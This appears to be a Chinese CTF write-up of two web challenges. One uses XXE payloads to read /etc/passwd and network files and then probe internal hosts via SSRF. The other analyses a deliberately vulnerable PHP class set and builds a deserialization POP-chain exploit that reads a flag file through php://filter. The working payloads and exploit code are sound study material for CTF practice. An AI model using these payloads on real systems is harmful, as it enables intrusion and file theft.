[NCTF2019]True XML cookbook(xxe漏洞利用)
这题是关于xxe漏洞的实际应用,利用xxe漏洞的外部实体来进行ssrf探针内网的主机
和[NCTF2019]Fake XML cookbook的区别就在于xxe漏洞的利用方向,一个是命令执行,一个是SSRF
看题,打开环境,熟悉的登录框
正常的抓包进行分析,明显的xxe漏洞
开始构造,先查看xxe漏洞能不能正常利用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123</password></user>
存在xxe漏洞并且能够正常利用,我在做题时想的是直接查看flag文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file://flag">
]>
<user><username>&admin;</username><password>123</password></user>
报错了,说明flag这个文件不存在,也许我们在外网不能正常访问,xxe的漏洞利用就可以探针内网,尝试访问内网看看
/etc/hosts,/proc/net/arp,/proc/net/fib_trie 这三个命令是探测内网的命令,是查看存活主机和主机ip,mac地址
发现有存活主机,但是有用信息不多
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/hosts">
]>
<user><username>&admin;</username><password>123</password></user>
前两个命令的反馈不是很多,第三个发现了ip地址
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///proc/net/fib_trie">
]>
<user><username>&admin;</username><password>123</password></user>
访问主机ip,看能不能有flag
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file://http://10.244.80.159">
]>
<user><username>&admin;</username><password>123</password></user>
还是没有flag,说明不在这台主机上,我们需要在内网中的其他主机尝试,就需要对这个网段下的主机ip进行爆破,抓包后发送到爆破模块
在爆破后查看各主机ip下的回显
[HNCTF 2022 WEEK4]pop子和pipi美
打开环境,给了个参数应该要传参,但是不知道传什么,题目给了一个番,是看了wp才知道是番的url
拿到源码
<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {
private $No_893;
public function POP_TEAM_EPIC(){
$WEBSITE = "MANGA LIFE WIN";
}
public function __invoke(){
$this->append($this->No_893);
}
public function append($anti_takeshobo){
include($anti_takeshobo);
}
}
class Pipimi{
public $pipi;
public function PIPIPMI(){
$h = "超喜欢POP子ww,你也一样对吧(举刀)";
}
public function __construct(){
echo "Pipi美永远不会生气ww";
$this->pipi = array();
}
public function __get($corepop){
$function = $this->p;
return $function();
}
}
class Goodsisters{
public function PopukoPipimi(){
$is = "Good sisters";
}
public $kiminonawa,$str;
public function __construct($file='index.php'){
$this->kiminonawa = $file;
echo 'Welcome to HNCTF2022 ,';
echo 'This is '.$this->kiminonawa."<br>";
}
public function __toString(){
return $this->str->kiminonawa;
}
public function __wakeup(){
if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
echo "仲良ピース!";
$this->kiminonawa = "index.php";
}
}
}
if(isset($_GET['pop'])) @unserialize($_GET['pop']);
else{
$a=new Goodsisters;
if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
highlight_file(__FILE__);
echo '欸嘿,你也喜欢pop子~对吧ww';
}
}
ok,确定是pop链,那么就详细讲讲我的思路构建pop链,当时我做还是有一部分错误
思路:优先找到链尾,根据链尾进行反推至链头,寻找链尾,链尾是有高危函数的,可以帮助我们实现需要的文件读取或者命令执行,这题提示flag在fl4g.php,明显是文件包含,对于文件包含最熟悉的就是include
找到include,作为链尾,分析一下调用到include,当触发append方法时,会执行include,append在invoke中进行了调用并且还调用的私有变量,所以我们就可以对私有变量进行赋值,触发invoke后就可以进行文件包含
class Popuko {
private $No_893;
public function POP_TEAM_EPIC(){
$WEBSITE = "MANGA LIFE WIN";
}
public function __invoke(){
$this->append($this->No_893);
}
public function append($anti_takeshobo){
include($anti_takeshobo);
}
}
invoke方法在以调用方法的方式调用对象时触发
get方法里面在$function中调用了对象p,所以在对象p调用invoke方法
class Pipimi{
public $pipi;
public function PIPIPMI(){
$h = "超喜欢POP子ww,你也一样对吧(举刀)";
}
public function __construct(){
echo "Pipi美永远不会生气ww";
$this->pipi = array();
}
public function __get($corepop){
$function = $this->p;
return $function();
}
}
get方法在访问不存在的变量时触发
看见一串奇怪的代码,在Goodsisters中str和kiminonawa都是公有变量,但是这里用str调用kiminonawa显然是没有办法调用的,两个变量是平行的关系,所以在调用liminonawa时,是不存在的,可以触发get方法
public function __toString(){
return $this->str->kiminonawa;
}
tostring方法在被当做字符串输出时触发,在所处的类中就有construct调用的变量输出,echo,所以直接类中construct就能触发
现在从链头到链尾都能通顺,开始写exp
<?php
class Popuko {
private $No_893='php://filter/convert.base64-encode/resource=f14g.php';
}
class Pipimi{
public $pipi;
}
class Goodsisters{
public $kiminonawa,$str;
}
$g=new Goodsisters;
$g->kiminonawa=new Goodsisters;
$p=new Pipimi;
$g->kiminonawa->str=$p;
$a=new Popuko;
$p->p=$a;
echo urlencode(serialize($g));
进行base64解码